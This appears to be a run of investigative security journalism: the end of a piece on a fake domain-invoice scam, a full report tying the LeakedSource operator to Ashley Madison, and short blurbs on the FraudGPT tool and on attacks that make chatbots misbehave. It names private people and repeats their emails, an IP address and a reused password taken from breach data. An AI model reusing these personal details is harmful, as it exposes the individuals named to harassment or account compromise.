Thedomainsvault[.]com includes no useful information about the entity or people who operate it; clicking the “Contact-us” link on the site brings up a page with placeholder Lorem Ipsum text, a contact form, and a phone number of 123456789.

However, searching passive DNS records at DomainTools.com for thedomainsvault[.]com shows that at some point whoever owns the domain instructed incoming email to be sent to ubsagency@gmail.com.

The first result that currently pops up when searching for “ubsagency” in Google is ubsagency[.]com, which says it belongs to a Las Vegas-based Search Engine Optimization (SEO) and digital marketing concern generically named both United Business Service and United Business Services. UBSagency’s website is hosted at the same Ann Arbor, Mich. based hosting firm (A2 Hosting Inc) as thedomainsvault[.]com.

UBSagency’s LinkedIn page says the company has offices in Vegas, Half Moon Bay, Calif., and Renton, Wash. But once again, none of the addresses listed for these offices reveal any obvious clues about who runs UBSagency. And once again, none of these entities appear to exist as official businesses in their claimed state of residence.

Searching on ubsagency@gmail.com in Constella Intelligence shows the address was used sometime before February 2019 to create an account under the name “Sammy\Sam_Alon” at the interior decorating site Houzz.com. In January 2019, Houzz acknowledged that a data breach exposed account information on an undisclosed number of customers, including user IDs, one-way encrypted passwords, IP addresses, city and ZIP codes, as well as Facebook information.

Sammy\Sam_Alon registered at Houzz using an Internet address in Huntsville, Ala. (68.35.149.206). Constella says this address was associated with the email tropicglobal@gmail.com, which also is tied to several other “Sammy” accounts at different stores online.

Constella also says a highly unique password re-used by tropicglobal@gmail.com across numerous sites was used in connection with just a few other email accounts, including shenhavgroup@gmail.com, and distributorinvoice@mail.com.

The shenhavgroup@gmail.com address was used to register a Twitter account for a Sam Orit Alon in 2013, whose account says they are affiliated with the Shenhav Group. According to DomainTools, shenhavgroup@gmail.com was responsible for registering roughly two dozen domains, including the now-defunct unitedbusinessservice[.]com.

Constella further finds that the address distributorinvoice@mail.com was used to register an account at whmcs.com, a web hosting platform that suffered a breach of its user database several years back. The name on the WHMCS account was Shmuel Orit Alon, from Kidron, Israel.

UBSagency also has a Facebook page, or maybe “had” is the operative word because someone appears to have defaced it. Loading the Facebook page for UBSagency shows several of the images have been overlaid or replaced with a message from someone who is really disappointed with Sam Alon.

“Sam Alon is a LIAR, THIEF, COWARD AND HAS A VERY SMALL D*CK,” reads one of the messages:

The logo in the UBSagency profile photo includes a graphic of what appears to be a magnifying glass with a line that zig-zags through bullet points inside and outside the circle, a unique pattern that is remarkably similar to the logo for DomainNetworks:

Constella also found that the same Huntsville IP address used by Sam Alon at Houzz was associated with yet another Houzz account, this one for someone named “Eliran.”

The UBSagency Facebook page features several messages from an Eliran “Dani” Benz, who is referred to by commenters as an employee or partner with UBSagency. The last check-in on Benz’s profile is from a beach at Rishon Letziyon in Israel earlier this year.

Neither Mr. Alon nor Mr. Benz responded to multiple requests for comment.

It may be difficult to believe that anyone would pay an invoice for a domain name or SEO service they never ordered. However, there is plenty of evidence that these phony bills often get processed by administrative personnel at organizations that end up paying the requested amount because they assume it was owed for some services already provided.

In 2018, KrebsOnSecurity published How Internet Savvy are Your Leaders?, which examined public records to show that dozens of cities, towns, school districts and even political campaigns across the United States got snookered into paying these scam domain invoices from a similar scam company called WebListings Inc.

In 2020, KrebsOnSecurity featured a deep dive into who was likely behind the WebListings scam, which had been sending out these snail mail scam letters for over a decade. That investigation revealed the scam’s connection to a multi-level marketing operation run out of the U.K., and to two brothers living in Scotland.

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LeakedSource Owner Quit Ashley Madison a Month Before 2015 Hack

[This is Part III in a series on research conducted for a recent Hulu documentary on the 2015 hack of marital infidelity website AshleyMadison.com.]

In 2019, a Canadian company called Defiant Tech Inc. pleaded guilty to running LeakedSource[.]com, a service that sold access to billions of passwords and other data exposed in countless data breaches. KrebsOnSecurity has learned that the owner of Defiant Tech, a 32-year-old Ontario man named Jordan Evan Bloom, was hired in late 2014 as a developer for the marital infidelity site AshleyMadison.com. Bloom resigned from AshleyMadison citing health reasons in June 2015 — less than one month before unidentified hackers stole data on 37 million users — and launched LeakedSource three months later.

On Jan. 15, 2018, the Royal Canadian Mounted Police (RCMP) charged then 27-year-old Bloom, of Thornhill, Ontario, with selling stolen personal identities online through the website LeakedSource[.]com.

LeakedSource was advertised on a number of popular cybercrime forums as a service that could help hackers break into valuable or high-profile accounts. LeakedSource also tried to pass itself off as a legal, legitimate business that was marketing to security firms and professionals.

The RCMP arrested Bloom in December 2017, and said he made approximately $250,000 selling hacked data, which included information on 37 million user accounts leaked in the 2015 Ashley Madison breach.

Subsequent press releases from the RCMP about the LeakedSource investigation omitted any mention of Bloom, and referred to the defendant only as Defiant Tech. In a legal settlement that is quintessentially Canadian, the matter was resolved in 2019 after Defiant Tech agreed to plead guilty. The RCMP declined to comment for this story.

A GREY MARKET

The Impact Team, the hacker group that claimed responsibility for stealing and leaking the AshleyMadison user data, also leaked several years worth of email from then-CEO Noel Biderman. A review of those messages shows that Ashley Madison hired Jordan Evan Bloom as a PHP developer in December 2014 — even though the company understood that Bloom’s success as a programmer and businessman was tied to shady and legally murky enterprises.

Bloom’s recommendation came to Biderman via Trevor Sykes, then chief technology officer for Ashley Madison parent firm Avid Life Media (ALM). The following is an email from Sykes to Biderman dated Nov. 14, 2014:

“Greetings Noel,

“We’d like to offer Jordan Bloom the position of PHP developer reporting to Mike Morris for 75k CAD/Year. He did well on the test, but he also has a great understanding of the business side of things having run small businesses himself. This was an internal referral.”

When Biderman responded that he needed more information about the candidate, Sykes replied that Bloom was independently wealthy as a result of his forays into the shadowy world of “gold farming”  — the semi-automated use of large numbers of player accounts to win some advantage that is usually related to cashing out game accounts or inventory. Gold farming is particularly prevalent in massively multiplayer online role-playing games (MMORPGs), such as RuneScape and World of Warcraft.

“In his previous experience he had been doing RMT (Real Money Trading),” Sykes wrote. “This is the practice of selling virtual goods in games for real world money. This is a grey market, which is usually against the terms and services of the game companies.” Here’s the rest of his message to Biderman:

“RMT sellers traditionally have a lot of problems with chargebacks, and payment processor compliance. During my interview with him, I spent some time focusing in on this. He had to demonstrate to the processor, Paypal, at the time he had a business and technical strategy to address his charge back rate.”

“He ran this company himself, and did all the coding, including the integration with the processors,” Sykes continued in his assessment of Bloom. “Eventually he was squeezed out by Chinese gold farmers, and their ability to market with much more investment than he could. In addition the cost of ‘farming’ the virtual goods was cheaper in China to do than in North America.”

COME, ABUSE WITH US

The gold farming reference is fascinating because in 2017 KrebsOnSecurity published Who Ran LeakedSource?, which examined clues suggesting that one of the administrators of LeakedSource also was the admin of abusewith[.]us, a site unabashedly dedicated to helping people hack email and online gaming accounts.

Abusewith[.]us began in September 2013 as a forum for learning and teaching how to hack accounts at Runescape, an MMORPG set in a medieval fantasy realm where players battle for kingdoms and riches.

The currency with which Runescape players buy and sell weapons, potions and other in-game items are virtual gold coins, and many of Abusewith[dot]us’s early members traded in a handful of commodities: Phishing kits and exploits that could be used to steal Runescape usernames and passwords from fellow players; virtual gold plundered from hacked accounts; and databases from hacked forums and websites related to Runescape and other online games.

That 2017 report here interviewed a Michigan man who acknowledged being administrator of Abusewith[.]us, but denied being the operator of LeakedSource. Still, the story noted that LeakedSource likely had more than one operator, and breached records show Bloom was a prolific member of Abusewith[.]us.

In an email to all employees on Dec. 1, 2014, Ashley Madison’s director of HR said Bloom graduated from York University in Toronto with a degree in theoretical physics, and that he has been an active programmer since high school.

“He’s a proprietor of a high traffic multiplayer game and developer/publisher of utilities such as PicTrace,” the HR director enthused. “He will be a great addition to the team.”

PicTrace appears to have been a service that allowed users to glean information about anyone who viewed an image hosted on the platform, such as their Internet address, browser type and version number. A copy of pictrace[.]com from Archive.org in 2012 redirects to the domain qksnap.com, which DomainTools.com says was registered to a Jordan Bloom from Thornhill, ON that same year.

The street address listed in the registration records for qksnap.com — 204 Beverley Glen Blvd — also shows up in the registration records for leakadvisor[.]com, a domain registered in 2017 just months after Canadian authorities seized the servers running LeakedSource.

A review of passive DNS records from DomainTools indicates that in 2013 pictrace[.]com shared a server with just a handful of other domains, including Near-Reality[.]com — a popular RuneScape Private Server (RSPS) game based on the RuneScape MMORPG.

Copies of near-reality[.]com from 2013 via Archive.org show the top of the community’s homepage was retrofitted with a message saying Near Reality was no longer available due to a copyright dispute. Although the site doesn’t specify the other party to the copyright dispute, it appears Near-Reality got sued by Jagex, the owner of RuneScape.

The message goes on to say the website will no longer “encourage, facilitate, enable or condone (i) any infringement of copyright in RuneScape or any other Jagex product; nor (ii) any breach of the terms and conditions of RuneScape or any other Jagex product.”

AGENTJAGS

Near Reality also has a Facebook page that was last updated in 2019, when its owner posted a link to a news story about Defiant Tech’s guilty plea in the LeakedSource investigation. That Facebook page indicates Bloom also went by the nickname “Agentjags.”

“Just a quick PSA,” reads a post to the Near Reality Facebook page dated Jan. 21, 2018, which linked to a story about the charges against Bloom and a photo of Bloom standing in front of his lime-green Lamborghini. “Agentjags has got involved in some shady shit that may have compromised your personal details. I advise anyone who is using an old NR [Near Reality] password for anything remotely important should change it ASAP.”

By the beginning of 2016, Bloom was nowhere to be found, and was suspected of having fled his country for the Caribbean, according to the people commenting on the Near Reality Facebook page:

“Jordan aka Agentjags has gone missing,” wrote a presumed co-owner of the Facebook page. “He is supposedly hiding in St. Lucia, doing what he loved, scuba-diving. Any information to his whereabouts will be appreciated.”

KrebsOnSecurity ran the unusual nickname “AgentJags” through a search at Constella Intelligence, a commercial service that tracks breached data sets. That search returned just a few dozen results — and virtually all were accounts at various RuneScape-themed sites, including a half-dozen accounts at Abusewith[.]us.

Constella found other “AgentJags” accounts tied to the email address ownagegaming1@gmail.com. The marketing firm Apollo.io experienced a data breach several years back, and according to Apollo the email address ownagegaming1@gmail.com belongs to Jordan Bloom in Ontario.

Constella also revealed that the password frequently used by ownagegaming1@gmail.com across many sites was some variation on “niggapls,” which my 2017 report found was also the password used by the administrator of LeakedSource.

Constella discovered that the email eric.malek@rogers.com comes up when one searches for “AgentJags.” This is curious because emails leaked from Ashley Madison’s then-CEO Biderman show that Eric Malek from Toronto was the Ashley Madison employee who initially recommended Bloom for the PHP developer job.

According to DomainTools.com, Eric.Malek@rogers.com was used to register the domain devjobs.ca, which previously advertised “the most exciting developer jobs in Canada, delivered to you weekly.” Constella says eric.malek@rogers.com also had an account at Abusewith[.]us — under the nickname “Jags.”

Biderman’s email records show Eric Malek was also a PHP developer for Ashley Madison, and that he was hired into this position just a few months before Bloom — on Sept. 2, 2014. The CEO’s leaked emails show Eric Malek resigned from his developer position at Ashley Madison on June 19, 2015.

“Please note that Eric Malek has resigned from this position with Avid and his last day will be June 19th,” read a June 5, 2015 email from ALM’s HR director. “He is resigning to deal with some personal issues which include health issues. Because he is not sure how much time it will take to resolve, he is not requesting a leave of absence (his time off will be indefinite). Overall, he likes the company and plans to reach out to Trevor or I when the issues are resolved to see what is available at that time.”

A follow-up email from Biderman demanded, “want to know where he’s truly going….,” and it’s unclear whether there was friction with Malek’s departure. But ALM General Counsel Avi Weisman replied indicating that Malek probably would not sign an “Exit Acknowledgment Form” prior to leaving, and that the company had unanswered questions for Malek.

“Aneka should dig during exit interview,” Weisman wrote. “Let’s see if he balks at signing the Acknowledgment.”

Bloom’s departure notice from Ashley Madison’s HR person, dated June 23, 2015, read:

“Please note that Jordan Bloom has resigned from his position as PHP Developer with Avid. He is leaving for personal reasons. He has a neck issue that will require surgery in the upcoming months and because of his medical appointment schedule and the pain he is experiencing he can no longer commit to a full-time schedule. He may pick up contract work until he is back to 100%.”

A follow-up note to Biderman about this announcement read:

“Note that he has disclosed that he is independently wealthy so he can get by without FT work until he is on the mend. He has signed the Exit Acknowledgement Form already without issue. He also says he would consider reapplying to Avid in the future if we have opportunities available at that time.”

Perhaps Mr. Bloom hurt his neck from craning it around blind spots in his Lamborghini. Maybe it was from a bad scuba outing. Whatever the pain in Bloom’s neck was, it didn’t stop him from launching himself fully into LeakedSource[.]com, which was registered roughly one month after the Impact Team leaked data on 37 million Ashley Madison accounts.

Mr. Malek declined a request for comment. A now-deleted LinkedIn profile for Malek from December 2018 listed him as a “technical recruiter” from Toronto who also attended Mr. Bloom’s alma mater — York University. That resume did not mention Mr. Malek’s brief stint as a PHP developer at Ashley Madison.

“Developer, entrepreneur, and now technical recruiter of the most uncommon variety!” Mr. Malek’s LinkedIn profile enthused. “Are you a developer, or other technical specialist, interested in working with a recruiter who can properly understand your concerns and aspirations, technical, environmental and financial? Don’t settle for a ‘hack’; this is your career, let’s do it right! Connect with me on LinkedIn. Note: If you are not a resident of Canada/Toronto, I cannot help you.”

INTERVIEW WITH BLOOM

Mr. Bloom told KrebsOnSecurity he had no role in harming or hacking Ashley Madison. Bloom validated his identity by responding at one of the email addresses mentioned above, and agreed to field questions so long as KrebsOnSecurity agreed to publish our email conversation in full (PDF).

Bloom said Mr. Malek did recommend him for the Ashley Madison job, but that Mr. Malek also received a $5,000 referral bonus for doing so. Given Mr. Malek’s stated role as a technical recruiter, it seems likely he also recommended several other employees to Ashley Madison.

Bloom was asked whether anyone at the RCMP, Ashley Madison or any authority anywhere ever questioned him in connection with the July 2015 hack of Ashley Madison. He replied that he was called once by someone claiming to be from the Toronto Police Service asking if he knew anything about the Ashley Madison hack.

“The AM situation was not something they pursued according to the RCMP disclosure,” Bloom wrote. “Learning about the RCMP’s most advanced cyber investigative techniques and capabilities was very interesting though. I was eventually told information by a third party which included knowledge that law enforcement effectively knew who the hacker was, but didn’t have enough evidence to proceed with a case. That is the extent of my involvement with any authorities.”

As to his company’s guilty plea for operating LeakedSource, Bloom maintains that the judge at his preliminary inquiry found that even if everything the Canadian government alleged was true it would not constitute a violation of any law in Canada with respect the charges the RCMP leveled against him, which included unauthorized use of a computer and “mischief to data.”

“In Canada at the lower court level we are allowed to possess stolen information and manipulate our copies of them as we please,” Bloom said. “The judge however decided that a trial was required to determine whether any activities of mine were reckless, as the other qualifier of intentionally criminal didn’t apply. I will note here that nothing I was accused of doing would have been illegal if done in the United States of America according to their District Attorney. +1 for free speech in America vs freedom of expression in Canada.”

“Shortly after their having most of their case thrown out, the Government proposed an offer during a closed door meeting where they would drop all charges against me, provide full and complete personal immunity, and in exchange the Corporation which has since been dissolved would plead guilty,” Bloom continued. “The Corporation would also pay a modest fine.”

Bloom said he left Ashley Madison because he was bored, but he acknowledged starting LeakedSource partly in response to the Ashley Madison hack.

“I intended to leverage my gaming connections to get into security work including for other private servers such as Minecraft communities and others,” Bloom said. “After months of asking management for more interesting tasks, I became bored. Some days I had virtually nothing to do except spin in my chair so I would browse the source code for security holes to fix because I found it enjoyable.”

“I believe the decision to start LS [LeakedSource] was partly inspired by the AM hack itself, and the large number of people from a former friend group messaging me asking if XYZ person was in the leak after I revealed to them that I downloaded a copy and had the ability to browse it,” Bloom continued. “LS was never my idea – I was just a builder, and the only Canadian. In other countries it was never thought to be illegal on closer examination of their laws.”

Bloom said he still considers himself independently wealthy, and that still has the lime green Lambo. But he said he’s currently unemployed and can’t seem to land a job in what he views as his most promising career path: Information security.

“As I’m sure you’re aware, having negative media attention associated with alleged (key word) criminal activity can have a detrimental effect on employment, banking and relationships,” Bloom wrote. “I have no current interest in being a business owner, nor do I have any useful business ideas to be honest. I was and am interested in interesting Information Security/programming work but it’s too large of a risk for any business to hire someone who was formerly accused of a crime.”

If you liked this story, please consider reading the first two pieces in this series:

SEO Expert Hired and Fired by Ashley Madison Turned on Company, Promising Revenge

Top Suspect in 2015 Ashley Madison Hack Committed Suicide in 2014

New AI Tool 'FraudGPT' Emerges, Tailored for Sophisticated Attacks

Following the footsteps of WormGPT, threat actors are advertising yet another cybercrime generative artificial intelligence (AI) tool dubbed FraudGPT on various dark web marketplaces and Telegram channels. "This is an AI bot, exclusively targeted for offensive purposes, such as crafting spear phishing emails, creating cracking tools, carding, etc.," Netenrich security researcher Rakesh Krishnan 

A New Attack Impacts ChatGPT—and No One Knows How to Stop It

Researchers found a simple way to make ChatGPT, Bard, and other chatbots misbehave, proving that AI is hard to tame.